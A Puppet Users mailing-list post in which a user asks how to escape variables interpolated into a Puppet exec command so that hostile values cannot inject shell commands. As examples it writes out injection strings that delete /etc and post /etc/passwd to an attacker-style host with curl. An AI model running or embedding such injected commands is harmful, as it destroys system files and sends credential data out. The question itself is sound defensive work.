If I have a "simple" variable value, this works fine:

capmon@peter:~> puppet -e '$v="xyz" exec { f: command => "/bin/echo v
is $v", logoutput => true }'
notice: /Stage[main]//Exec[f]/returns: v is xyz
notice: /Stage[main]//Exec[f]/returns: executed successfully

But how do I escape "bad" values of $v? Painful examples like the
following spring to mind: $v = ";rm -rf /etc" or $v=";curl -d
@/etc/passwd http://hackers-r-us.dk"; ?

I'd like to ensure that $v above will be seen as exactly one parameter
for the command, regardless of the value of $v.

I've also tried
capmon@peter:~> puppet -e '$v=";asdf" exec { f: command =>
["/bin/echo", "v is", $v], logoutput => true }'
private method `split' called for ["/bin/echo", "v is", ";asdf"]:Array

But that didn't work (and wouldn't swing with my previous post about
getting STDERR either, because that relies on the the shell.)

Peter

-- 
You received this message because you are subscribed to the Google Groups 
"Puppet Users" group.
To post to this group, send email to puppet-users@googlegroups.com.
To unsubscribe from this group, send email to 
puppet-users+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/puppet-users?hl=en.

Reply via email to